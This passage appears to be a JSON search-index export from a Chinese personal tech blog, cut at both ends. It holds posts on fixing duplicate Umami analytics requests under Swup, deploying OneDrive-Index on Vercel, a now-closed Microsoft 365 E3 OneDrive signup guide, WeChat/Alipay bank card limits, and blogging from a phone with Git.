issue：\u003ca href=\"https://github.com/afoim/fuwari/issues/79\"\u003eBug: 站内转跳时由于swup处理不当导致的多umami实例 · Issue #79 · afoim/fuwari\u003c/a\u003e。问题的核心是 Swup 不应该接管这类脚本资源，把相关 JS 排除后，问题确实得到了解决。\u003c/p\u003e\n\u003cp\u003e按 issue 中的方法调整后，我们随便打开一个页面，再来分析一次请求情况：\n\u003cimg loading=\"lazy\" src=\"/posts/swup-js/img/swup-js-2.webp\"\u003e\n我们只看Umami请求：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://cloud.umami.is/script.js\"\u003ehttps://cloud.umami.is/script.js\u003c/a\u003e ：Umami官方的全局JS，注入在所有页面中，用于后续将访客行为告知给Umami\u003c/li\u003e\n\u003cli\u003ehttp://localhost:4321/js/umami-share.js ：之前写的中间件，用于避免多次请求Umami拿全局Token\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0\u0026amp;endAt=1763429011353\u0026amp;unit=hour\u0026amp;timezone=Asia%2FShanghai\u0026amp;compare=false\"\u003ehttps://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0\u0026amp;endAt=1763429011353\u0026amp;unit=hour\u0026amp;timezone=Asia%2FShanghai\u0026amp;compare=false\u003c/a\u003e ：获取全站统计信息。为什么在文章页也会获取全站统计？因为全站统计被安放在用户配置块，而用户配置块全局可见\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0\u0026amp;endAt=1763429243350\u0026amp;unit=hour\u0026amp;timezone=Asia%2FShanghai\u0026amp;path=eq.%2Fposts%2Fswup-js%2F\u0026amp;compare=false\"\u003ehttps://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0\u0026amp;endAt=1763429243350\u0026amp;unit=hour\u0026amp;timezone=Asia%2FShanghai\u0026amp;path=eq.%2Fposts%2Fswup-js%2F\u0026amp;compare=false\u003c/a\u003e ：获取本页统计信息\u003c/li\u003e\n\u003cli\u003e两个预检请求：由于存在 CORS，请求源和被请求源不一致，因此浏览器会先发起预检请求，再决定是否继续发送正式请求。这是浏览器的安全机制，用来确认目标站点是否明确允许这次跨域访问。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://api-gateway.umami.dev/api/send\"\u003ehttps://api-gateway.umami.dev/api/send\u003c/a\u003e ：Umami的官方JS，用于将本次访问的行为汇报给Umami\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e到这里，问题就算彻底解决了：没有多余实例，也没有冗余请求，整体请求链路也干净了很多。\u003c/p\u003e","title":"解决困扰我多时的JS重复请求问题"},{"content":"正式开始 你可以根据前文免费拿E3，得到至高免费5T的OneDrive存储空间，也可以用你个人永久免费的5G空间，都可以！\n前往 高级 - OneDrive Vercel Index 拿到 clientid 和 secret\n前往该页面，点击快速部署 onedrive-index/README.zh-CN.md at main · iRedScarf/onedrive-index\n填写必须的5个环境变量 其中，USER_PRINCIPAL_NAME为类似 huding@Smartree233.onmicrosoft.com 的电子邮箱，也就是你登陆OneDrive的用户名\nVercel部署完毕后，会报错连不上Redis，因为我们还没创建和绑定，现在我们开始做 前往 https://vercel.com/integrations/upstash 点击 Install 选择你要绑定的Vercel项目，并且设置Redis实例名称 来到Vercel的环境变量页面，这就是绑定成功了 随便打开一个部署，点击 Redeploy 重新部署，就能成功连接数据库了\n接下来访问你的项目域名，进入OneDrive-Index的引导，需要打开微软的一个链接授权\n授权后会重定向到一个localhost的域名，复制该URI，粘贴回OneDrive-Index即可（仅需一次）\n成功部署！ 同项目更改OneDrive账号 首先在Vercel上更改这三个环境变量 然后打开 Upstash 找到对应的Redis，删除里面存储的所有Token ","permalink":"https://blog.2x.nz/posts/onedrive-index/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e你可以根据\u003ca href=\"/posts/ms-e3/\"\u003e前文\u003c/a\u003e免费拿E3，得到至高免费5T的OneDrive存储空间，也可以用你个人永久免费的5G空间，都可以！\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://ovi.swo.moe/zh/docs/advanced#%E4%BD%BF%E7%94%A8%E4%BD%A0%E8%87%AA%E5%B7%B1%E7%9A%84-client-id-%E4%B8%8E-secret\"\u003e高级 - OneDrive Vercel Index\u003c/a\u003e 拿到 clientid 和 secret\u003c/p\u003e\n\u003cp\u003e前往该页面，点击快速部署 \u003ca href=\"https://github.com/iRedScarf/onedrive-index/blob/main/README.zh-CN.md#%E9%83%A8%E7%BD%B2%E5%88%B0vercel\"\u003eonedrive-index/README.zh-CN.md at main · iRedScarf/onedrive-index\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/onedrive-index/img/onedrive-index-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e填写必须的5个环境变量\n\u003cimg loading=\"lazy\" src=\"/posts/onedrive-index/img/onedrive-index-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e其中，USER_PRINCIPAL_NAME为类似 \u003ca href=\"mailto:huding@Smartree233.onmicrosoft.com\"\u003ehuding@Smartree233.onmicrosoft.com\u003c/a\u003e 的电子邮箱，也就是你登陆OneDrive的用户名\u003c/p\u003e\n\u003cp\u003eVercel部署完毕后，会报错连不上Redis，因为我们还没创建和绑定，现在我们开始做\n\u003cimg loading=\"lazy\" src=\"/posts/onedrive-index/img/onedrive-index-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://vercel.com/integrations/upstash\"\u003ehttps://vercel.com/integrations/upstash\u003c/a\u003e 点击 Install\n\u003cimg loading=\"lazy\" src=\"/posts/onedrive-index/img/onedrive-index-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e选择你要绑定的Vercel项目，并且设置Redis实例名称\n\u003cimg loading=\"lazy\" src=\"/posts/onedrive-index/img/onedrive-index-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e来到Vercel的环境变量页面，这就是绑定成功了\n\u003cimg loading=\"lazy\" src=\"/posts/onedrive-index/img/onedrive-index-6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e随便打开一个部署，点击 Redeploy 重新部署，就能成功连接数据库了\u003c/p\u003e\n\u003cp\u003e接下来访问你的项目域名，进入OneDrive-Index的引导，需要打开微软的一个链接授权\u003c/p\u003e\n\u003cp\u003e授权后会重定向到一个localhost的域名，复制该URI，粘贴回OneDrive-Index即可（仅需一次）\u003c/p\u003e\n\u003cp\u003e成功部署！\n\u003cimg loading=\"lazy\" src=\"/posts/onedrive-index/img/onedrive-index-7.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"同项目更改onedrive账号\"\u003e同项目更改OneDrive账号\u003c/h1\u003e\n\u003cp\u003e首先在Vercel上更改这三个环境变量\n\u003cimg loading=\"lazy\" src=\"/posts/onedrive-index/img/onedrive-index-8.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后打开 Upstash 找到对应的Redis，删除里面存储的所有Token\n\u003cimg loading=\"lazy\" src=\"/posts/onedrive-index/img/onedrive-index-9.webp\"\u003e\u003c/p\u003e","title":"来！让我们用Vercel来分享你的OneDrive！"},{"content":" [!CAUTION] 已封车\n参考文献 微软Office365 E3订阅回归？25个E3 Dev免费开通指南 - 极圈 奶昔论坛\n垃圾Dev！Office E3 Symphony可以订阅200万个授权许可 - 极圈 奶昔论坛\n注： 不建议碰Symphony\n正式开始 注册一个全局管理员，一路下一步，到绑卡那里直接退出然后用你的 xxx@xxx.onmicrosoft.com 去登录就行，纳税人识别号随便填（认认真真写，地址精确到你区县就好了，国家一定要填CN，不然后面没办法走支付宝） https://signup.microsoft.com/get-started/signup?products=35dffc92-9eb4-4d5c-82c2-2582b37bb9c4\u0026amp;culture=zh-cn\u0026amp;country=cn\n买 E3（选择支付宝即可） https://admin.cloud.microsoft/?pid=C69E7747-2566-4897-8CBA-B998ED3BAB88\u0026amp;quan=25\u0026amp;bc=1\u0026amp;sku=189a915c-fe4f-4ffa-bde4-85b9628d07a0\u0026amp;ru=PDP#/Purchase/checkout\n进 微软365管理中心 主页 - Microsoft 365 admin center\n点击 账单 - 你的产品 点分配许可证 分配给你主账户 你已经可以用1T OneDrive了，进入 My Apps 选择OneDrive（如果进不去，或者根本没有OneDrive应用，可以直接使用 https://你的组织名-my.sharepoint.com/my 尝试访问，记得开梯子） 接下来我们来扩容\n在管理中心点击全部显示 选择 SharePoint 更改 设置 - OneDrive - 存储限制 为 5120 GB 此时等等你的账号就会同步扩容了，如果等不及我们可以来手动强制扩容\n回到 管理中心 选择 用户-活跃用户-管理角色-OneDrive，强制扩容 用刚才讲过的方法进入OneDrive，成功扩容 最后，注意一下，及时前往 My Sign-Ins | Security Info | Microsoft.com 绑定更多的安全信息，避免日后无法访问账号 ","permalink":"https://blog.2x.nz/posts/ms-e3/","summary":"\u003cblockquote\u003e\n\u003cp\u003e[!CAUTION]\n已封车\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"参考文献\"\u003e参考文献\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://forum.naixi.net/thread-6702-1-1.html\"\u003e微软Office365 E3订阅回归？25个E3 Dev免费开通指南 - 极圈 奶昔论坛\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://forum.naixi.net/forum.php?mod=viewthread\u0026amp;tid=6723\"\u003e垃圾Dev！Office E3 Symphony可以订阅200万个授权许可 - 极圈 奶昔论坛\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注： 不建议碰Symphony\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e注册一个全局管理员，一路下一步，到绑卡那里直接退出然后用你的 \u003ccode\u003exxx@xxx.onmicrosoft.com\u003c/code\u003e 去登录就行，纳税人识别号随便填（认认真真写，地址精确到你区县就好了，国家一定要填CN，不然后面没办法走支付宝） \u003ca href=\"https://signup.microsoft.com/get-started/signup?products=35dffc92-9eb4-4d5c-82c2-2582b37bb9c4\u0026amp;culture=zh-cn\u0026amp;country=cn\"\u003ehttps://signup.microsoft.com/get-started/signup?products=35dffc92-9eb4-4d5c-82c2-2582b37bb9c4\u0026amp;culture=zh-cn\u0026amp;country=cn\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e买 E3（选择支付宝即可） \u003ca href=\"https://admin.cloud.microsoft/?pid=C69E7747-2566-4897-8CBA-B998ED3BAB88\u0026amp;quan=25\u0026amp;bc=1\u0026amp;sku=189a915c-fe4f-4ffa-bde4-85b9628d07a0\u0026amp;ru=PDP#/Purchase/checkout\"\u003ehttps://admin.cloud.microsoft/?pid=C69E7747-2566-4897-8CBA-B998ED3BAB88\u0026amp;quan=25\u0026amp;bc=1\u0026amp;sku=189a915c-fe4f-4ffa-bde4-85b9628d07a0\u0026amp;ru=PDP#/Purchase/checkout\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e进 微软365管理中心 \u003ca href=\"https://admin.cloud.microsoft/#/homepage\"\u003e主页 - Microsoft 365 admin center\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e点击 账单 - 你的产品\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e点分配许可证\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e分配给你主账户\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e你已经可以用1T OneDrive了，进入 \u003ca href=\"https://myapplications.microsoft.com/\"\u003eMy Apps\u003c/a\u003e 选择OneDrive（如果进不去，或者根本没有OneDrive应用，可以直接使用 \u003ccode\u003ehttps://你的组织名-my.sharepoint.com/my\u003c/code\u003e 尝试访问，记得开梯子）\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-4.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来我们来扩容\u003c/p\u003e\n\u003cp\u003e在管理中心点击全部显示\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e选择 SharePoint\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e更改 设置 - OneDrive - 存储限制 为 5120 GB\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-7.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e此时等等你的账号就会同步扩容了，如果等不及我们可以来手动强制扩容\u003c/p\u003e\n\u003cp\u003e回到 管理中心 选择 用户-活跃用户-管理角色-OneDrive，强制扩容\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-8.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-9.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e用刚才讲过的方法进入OneDrive，成功扩容\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/ms-e3-10.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e最后，注意一下，及时前往 \u003ca href=\"https://mysignins.microsoft.com/security-info\"\u003eMy Sign-Ins | Security Info | Microsoft.com\u003c/a\u003e 绑定更多的安全信息，避免日后无法访问账号\n\u003cimg loading=\"lazy\" src=\"/posts/ms-e3/img/e4d124d4c11d25813b40a984b6c15465.webp\"\u003e\u003c/p\u003e","title":"永久免费OneDrive 5T，MS 365 E3保姆级拿下教程！"},{"content":"前言 就像简介所说，中国并不像国外，一张信用卡通刷一切，在海外购物，一般都用POS机刷卡，或者NFC支付，在中国，得益于二维码和微信支付宝的推广，一般我们有两种方式支付，一种是商家挂一个二维码，你主动给商家付款，而另一种是你展示付款码，商家来扫你扣款。无论是方法一还是方法二，都不是直接从 银联 扣款的，要不，你用的是 支付宝 ，要不就是 微信\n左右互搏的付款方式 那么问题就渐渐浮现了，由于 支付宝 是阿里的，而 微信 是腾讯的，如果你想要在 淘宝 也就是 阿里系 软件付款，你是用不了微信的，反之，如果你想要在 腾讯系 软件消费，你也是用不了支付宝的\n那么，这种情况如何解决呢？\n没错，该银行卡出场了。在国外，银行卡是你的消费工具，在中国，银行卡是你在微信和支付宝两者的 兼容层 。假如，你的钱全部都存在微信，而你要付款的商户仅支持支付宝支付，那么这个时候，首先，你要将你的银行卡先绑定到微信和支付宝，你就需要先将款项从微信余额 提现 到你的银行卡，再打开支付宝，选择 充值 ，将银行卡的钱充值到你的支付宝余额（当然，你也可以借助支付宝直接刷你银行卡里面的钱）\n问题好像完美的解决了！只要有银行卡这个兼容层，你的余额无关平台了！只是付款的时候有时需要转换一下平台而已！真的是这样吗？\n银行中立，也严格 因为银行既不隶属于 腾讯 ，也不隶属于 阿里 ，所以绝大部分银行卡可以很方便的绑定到微信支付宝进行消费\n但是，这种消费方式是否可用，好用则取决于你的发卡行\n说个题外话，你可能不知道的是，阿里实际上也有个银行，叫做 网商银行 ，但是该卡 微信 不接受，反之，腾讯实际上也有个银行，叫做 微众银行 ，同样，该卡 支付宝 也不接受。所以，想拿这种卡无痛在支付宝和微信互转是不可能的了\n那么如果，你想要让余额在各平台流转，那就必须去找 中立的 银行，如：交通银行 、 农业银行 、广发银行 等等\n世界上这么多银行，他们并不都是一视同仁的，鉴于国家近几年对于 反诈，反洗钱 的打击，特别是针对 未成年人 ，你使用 中国银行 工商银行 等 国有大行 进行 大额快进快出 时大概率会被冻结，并且无法通过网银解除，必须手动跑一次线下，这非常恶心，所以，如果你要开卡，就选择附近最近的银行，且不要选择那些国有大行\n我家附近有 交通银行 农业银行 工商银行 ，目前这三大行的卡我都有，交行Ⅱ类卡一张线下开，农行Ⅰ类卡一张、信用卡一张，工行社保卡（Ⅰ类）卡一张，另有Ⅰ类卡一张\n如果你没有研究过银行卡，你可能不理解Ⅰ类，Ⅱ类，Ⅲ类，特种卡，信用卡等等，这里就大概快速讲下\nⅠ类：储蓄卡。绝大部分发卡行要求 线下开卡 ，日限额1w-5w，后期你财力雄厚了可以提。其中，社保卡、医保卡 若有 储蓄功能 ，也为Ⅰ类卡，且为 特种卡 。一个自然人一般来说只能自主注册 一张 一类卡（特种卡除外） Ⅱ类：储蓄卡。绝大部分发卡行仅要求你有一个 他行一类卡 ，然后可以通过 线上 自主注册。日限额1k-1w，不建议开 Ⅲ类卡：储蓄卡。一般作为 副卡，亲情卡 使用，日限额1k左右，不建议自己用 特种卡：一般为储蓄卡。大部分为国家要求的 社保、医保账户 ，除了一卡多用，其余和一类卡一致 信用卡：有储蓄功能，但是不咋好用，详见后文。未工作的学生可以申请，但是无信用额度，一般用于海外付款（强制需要CVV/CVC，不接受储蓄卡的收单机构），已工作的将会根据你的工作状态给你批额度 我曾经在使用 工商银行 的储蓄卡进行网上消费，因为想要吃支付宝的优惠，则将微信里面的钱先转到银行卡，然后通过支付宝进行扣款，然后失败了，跑去网点后说我 大额快进快出 还要吃店员的司马脸，好在给了身份证和卡和账单，滴几下就解开了，之后，我就再也没有把钱放在工行了\n设想一个场景，你有一个Ⅰ类卡，日限额10000 CNY，卡里余额8000 CNY，你现在想要购买一个6000 CNY的商品，于是使用微信或支付宝进行支付，然后你款式选错了，于是进行退款，好在商家还没有发货，痛快的给你退款了，然后看似你的卡状态又回到了一开始的状态，你重新确认款式，再次购买，然后被银行卡拒绝了，说超出限额。注意到了吗，当你第一次成功扣款后，你的当日限额就只有 4000 CNY了，哪怕原款项已经原封不动退回你的卡里了，但是你付了就是付了，不管你最终是退款了，还是成功交易了，限额在你的钱从卡到对面商户那边的那一瞬间就已经扣除了，并且无法恢复。同样的，对于将卡里的钱提现到微信和支付宝，也是会扣除你的日限额，所以跨平台互转需谨慎，一不小心，你的卡就会进入只进不出的情况，当你多次交易被拒绝后，某些银行还会暂时冻结你的银行卡，还需要带上身份证跑线下\n信用卡与储蓄卡 不知道你是否注意到一件事，那就是我们在上文提到的Ⅰ类，Ⅱ类，Ⅲ类都提到了 日限额 唯独信用卡没有提到 日限额 。那么，信用卡是否就没有日限额呢？\n对！信用卡的确没有日限额！但是！你微信支付宝的钱无法直接提现到信用卡中，要先转到储蓄卡，然后通过银行APP中的 转账 输入卡号将钱款转入信用卡\n欸？你是否又发现一件事，没错！就算信用卡无日限额，但是最终将钱转到信用卡的时候，还是会扣除你对应的储蓄卡的日限额，你最终能转的钱一天还是那么多\n信用卡无论是否有信用额度，各大发卡行都和微信支付宝有合作，你的日常消费使用信用卡大概率是有优惠，并且每笔都可以攒积分（类似于国外的 返现 ）\n但是需要注意，我目前就读的学校食堂仅能用支付宝支付，且不支持信用卡，我只能在储蓄卡中留点余额\n这也是国内支付的一个窘境，各大机构都鼓励你使用信用卡支付，但是有些商家不支持信用卡。而对于没有银行卡的未成年人群体，想要在微信和支付宝互转则是极其困难的，这也催生了 代付 业务，中介收取部分手续费，然后帮你支付（比如你只有微信余额但是想在淘宝买东西）\n对于巨头，我们只能妥协 这几年淘宝曾经灰度了几次微信扫码付，但是大多数用户反馈就看到过几次，经常是今天能付，明天就找不到入口了。而京东始终不支持支付宝支付\n在很长一段时间，蓝绿争霸 并不会停止，我们仍然需要将钱通过银行卡在各平台互转，且自己承担卡被冻结的风险\n而互转的时候，微信通常会收取0.01%的服务费，小额可以通过做活动领取免服务费提现券，而支付宝会给每个自然人终生2w的免费提现额度，之后也会收取0.01%的服务费，在你看来，这可能无关痛痒，但是你想想每天有多少人在使用微信支付宝来回互转余额？就算每笔只收一毛钱的手续费，一秒也能创造出高额的收益，对于巨头，我们只能妥协\n","permalink":"https://blog.2x.nz/posts/wx-zfb-card/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e就像简介所说，中国并不像国外，一张信用卡通刷一切，在海外购物，一般都用POS机刷卡，或者NFC支付，在中国，得益于二维码和微信支付宝的推广，一般我们有两种方式支付，一种是商家挂一个二维码，你主动给商家付款，而另一种是你展示付款码，商家来扫你扣款。无论是方法一还是方法二，都不是直接从 \u003cstrong\u003e银联\u003c/strong\u003e 扣款的，要不，你用的是 \u003cstrong\u003e支付宝\u003c/strong\u003e ，要不就是 \u003cstrong\u003e微信\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"左右互搏的付款方式\"\u003e左右互搏的付款方式\u003c/h1\u003e\n\u003cp\u003e那么问题就渐渐浮现了，由于 \u003cstrong\u003e支付宝\u003c/strong\u003e 是阿里的，而 \u003cstrong\u003e微信\u003c/strong\u003e 是腾讯的，如果你想要在 \u003cstrong\u003e淘宝\u003c/strong\u003e 也就是 \u003cstrong\u003e阿里系\u003c/strong\u003e 软件付款，你是用不了微信的，反之，如果你想要在 \u003cstrong\u003e腾讯系\u003c/strong\u003e 软件消费，你也是用不了支付宝的\u003c/p\u003e\n\u003cp\u003e那么，这种情况如何解决呢？\u003c/p\u003e\n\u003cp\u003e没错，该银行卡出场了。在国外，银行卡是你的消费工具，在中国，银行卡是你在微信和支付宝两者的 \u003cstrong\u003e兼容层\u003c/strong\u003e 。假如，你的钱全部都存在微信，而你要付款的商户仅支持支付宝支付，那么这个时候，首先，你要将你的银行卡先绑定到微信和支付宝，你就需要先将款项从微信余额 \u003cstrong\u003e提现\u003c/strong\u003e 到你的银行卡，再打开支付宝，选择 \u003cstrong\u003e充值\u003c/strong\u003e ，将银行卡的钱充值到你的支付宝余额（当然，你也可以借助支付宝直接刷你银行卡里面的钱）\u003c/p\u003e\n\u003cp\u003e问题好像完美的解决了！只要有银行卡这个兼容层，你的余额无关平台了！只是付款的时候有时需要转换一下平台而已！真的是这样吗？\u003c/p\u003e\n\u003ch1 id=\"银行中立也严格\"\u003e银行中立，也严格\u003c/h1\u003e\n\u003cp\u003e因为银行既不隶属于 \u003cstrong\u003e腾讯\u003c/strong\u003e ，也不隶属于 \u003cstrong\u003e阿里\u003c/strong\u003e ，所以绝大部分银行卡可以很方便的绑定到微信支付宝进行消费\u003c/p\u003e\n\u003cp\u003e但是，这种消费方式是否可用，好用则取决于你的发卡行\u003c/p\u003e\n\u003cp\u003e说个题外话，你可能不知道的是，阿里实际上也有个银行，叫做 \u003cstrong\u003e网商银行\u003c/strong\u003e ，但是该卡 \u003cstrong\u003e微信\u003c/strong\u003e 不接受，反之，腾讯实际上也有个银行，叫做 \u003cstrong\u003e微众银行\u003c/strong\u003e ，同样，该卡 \u003cstrong\u003e支付宝\u003c/strong\u003e 也不接受。所以，想拿这种卡无痛在支付宝和微信互转是不可能的了\u003c/p\u003e\n\u003cp\u003e那么如果，你想要让余额在各平台流转，那就必须去找 \u003cstrong\u003e中立的\u003c/strong\u003e 银行，如：\u003cstrong\u003e交通银行\u003c/strong\u003e 、 \u003cstrong\u003e农业银行\u003c/strong\u003e 、\u003cstrong\u003e广发银行\u003c/strong\u003e 等等\u003c/p\u003e\n\u003cp\u003e世界上这么多银行，他们并不都是一视同仁的，鉴于国家近几年对于 \u003cstrong\u003e反诈，反洗钱\u003c/strong\u003e 的打击，特别是针对 \u003cstrong\u003e未成年人\u003c/strong\u003e ，你使用 \u003cstrong\u003e中国银行\u003c/strong\u003e \u003cstrong\u003e工商银行\u003c/strong\u003e 等 \u003cstrong\u003e国有大行\u003c/strong\u003e 进行 \u003cstrong\u003e大额快进快出\u003c/strong\u003e 时大概率会被冻结，并且无法通过网银解除，必须手动跑一次线下，这非常恶心，所以，如果你要开卡，就选择附近最近的银行，且不要选择那些国有大行\u003c/p\u003e\n\u003cp\u003e我家附近有 \u003cstrong\u003e交通银行\u003c/strong\u003e \u003cstrong\u003e农业银行\u003c/strong\u003e \u003cstrong\u003e工商银行\u003c/strong\u003e ，目前这三大行的卡我都有，交行Ⅱ类卡一张线下开，农行Ⅰ类卡一张、信用卡一张，工行社保卡（Ⅰ类）卡一张，另有Ⅰ类卡一张\u003c/p\u003e\n\u003cp\u003e如果你没有研究过银行卡，你可能不理解Ⅰ类，Ⅱ类，Ⅲ类，特种卡，信用卡等等，这里就大概快速讲下\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eⅠ类：储蓄卡。绝大部分发卡行要求 \u003cstrong\u003e线下开卡\u003c/strong\u003e ，日限额1w-5w，后期你财力雄厚了可以提。其中，\u003cstrong\u003e社保卡、医保卡\u003c/strong\u003e 若有 \u003cstrong\u003e储蓄功能\u003c/strong\u003e ，也为Ⅰ类卡，且为 \u003cstrong\u003e特种卡\u003c/strong\u003e 。一个自然人一般来说只能自主注册 \u003cstrong\u003e一张\u003c/strong\u003e 一类卡（特种卡除外）\u003c/li\u003e\n\u003cli\u003eⅡ类：储蓄卡。绝大部分发卡行仅要求你有一个 \u003cstrong\u003e他行一类卡\u003c/strong\u003e ，然后可以通过 \u003cstrong\u003e线上\u003c/strong\u003e 自主注册。日限额1k-1w，不建议开\u003c/li\u003e\n\u003cli\u003eⅢ类卡：储蓄卡。一般作为 \u003cstrong\u003e副卡，亲情卡\u003c/strong\u003e 使用，日限额1k左右，不建议自己用\u003c/li\u003e\n\u003cli\u003e特种卡：一般为储蓄卡。大部分为国家要求的 \u003cstrong\u003e社保、医保账户\u003c/strong\u003e ，除了一卡多用，其余和一类卡一致\u003c/li\u003e\n\u003cli\u003e信用卡：有储蓄功能，但是不咋好用，详见后文。未工作的学生可以申请，但是无信用额度，一般用于海外付款（强制需要CVV/CVC，不接受储蓄卡的收单机构），已工作的将会根据你的工作状态给你批额度\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我曾经在使用 \u003cstrong\u003e工商银行\u003c/strong\u003e 的储蓄卡进行网上消费，因为想要吃支付宝的优惠，则将微信里面的钱先转到银行卡，然后通过支付宝进行扣款，然后失败了，跑去网点后说我 \u003cstrong\u003e大额快进快出\u003c/strong\u003e 还要吃店员的司马脸，好在给了身份证和卡和账单，滴几下就解开了，之后，我就再也没有把钱放在工行了\u003c/p\u003e","title":"微信，支付宝，储蓄卡与信用卡的爱恨情仇"},{"content":"正式开始 为了让我在出门时也能直接用手机写博客，我专门研究了一下，发现这套方案完全可行。\n首先，我们需要挑选一个手机上的 Git 客户端。这里我使用的是：https://github.com/catpuppyapp/PuppyGit\n安装之后，点击右上角的加号，点击克隆，即可克隆仓库 创建 GitHub Token 将它添加到 PuppyGit 中。 连接仓库。 修改完成后，点击 需要提交 按钮，进入提交界面。 进入后，点击右上角的三个点，就可以执行最常用的 提交（commit）、拉取（pull） 和 推送（push） 操作。 有了 Git 客户端之后，接下来还需要一个顺手的 Markdown 编辑器。很巧，Obsidian 也提供了移动端。 打开后导入仓库（src/content）即可。如果你的使用习惯本身就围绕 Obsidian 展开，那么迁移到手机端也会比较自然。 在桌面端，新建文章通常会使用 Fuwari 提供的 pnpm new-post xxx 命令；不过在手机上，我们也可以曲线救国：随便选一篇现有文章，创建副本 后再修改元数据即可。 最后，这篇文章本身也是我用手机写完的。\n","permalink":"https://blog.2x.nz/posts/mobile-git/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e为了让我在出门时也能直接用手机写博客，我专门研究了一下，发现这套方案完全可行。\u003c/p\u003e\n\u003cp\u003e首先，我们需要挑选一个手机上的 Git 客户端。这里我使用的是：https://github.com/catpuppyapp/PuppyGit\u003c/p\u003e\n\u003cp\u003e安装之后，点击右上角的加号，点击克隆，即可克隆仓库\n\u003cimg loading=\"lazy\" src=\"/posts/mobile-git/img/Screenshot_2025-11-11-14-11-13-56_a2e3670364a4153bdb03dad30c8d4108.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e创建 GitHub Token\n\u003cimg loading=\"lazy\" src=\"/posts/mobile-git/img/Screenshot_2025-11-24-07-55-54-35_df198e732186825c8df26e3c5a10d7cd1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e将它添加到 PuppyGit 中。\n\u003cimg loading=\"lazy\" src=\"/posts/mobile-git/img/Screenshot_2025-11-24-07-56-23-48_a2e3670364a4153bdb03dad30c8d41081.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e连接仓库。\n\u003cimg loading=\"lazy\" src=\"/posts/mobile-git/img/Screenshot_2025-11-24-07-56-33-62_a2e3670364a4153bdb03dad30c8d4108.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e修改完成后，点击 \u003cstrong\u003e需要提交\u003c/strong\u003e 按钮，进入提交界面。\n\u003cimg loading=\"lazy\" src=\"/posts/mobile-git/img/Screenshot_2025-11-11-14-11-59-16_a2e3670364a4153bdb03dad30c8d4108.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e进入后，点击右上角的三个点，就可以执行最常用的 \u003cstrong\u003e提交（commit）\u003c/strong\u003e、\u003cstrong\u003e拉取（pull）\u003c/strong\u003e 和 \u003cstrong\u003e推送（push）\u003c/strong\u003e 操作。\n\u003cimg loading=\"lazy\" src=\"/posts/mobile-git/img/Screenshot_2025-11-11-14-13-03-99_a2e3670364a4153bdb03dad30c8d4108.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e有了 Git 客户端之后，接下来还需要一个顺手的 Markdown 编辑器。很巧，\u003cstrong\u003eObsidian\u003c/strong\u003e 也提供了移动端。\n\u003cimg loading=\"lazy\" 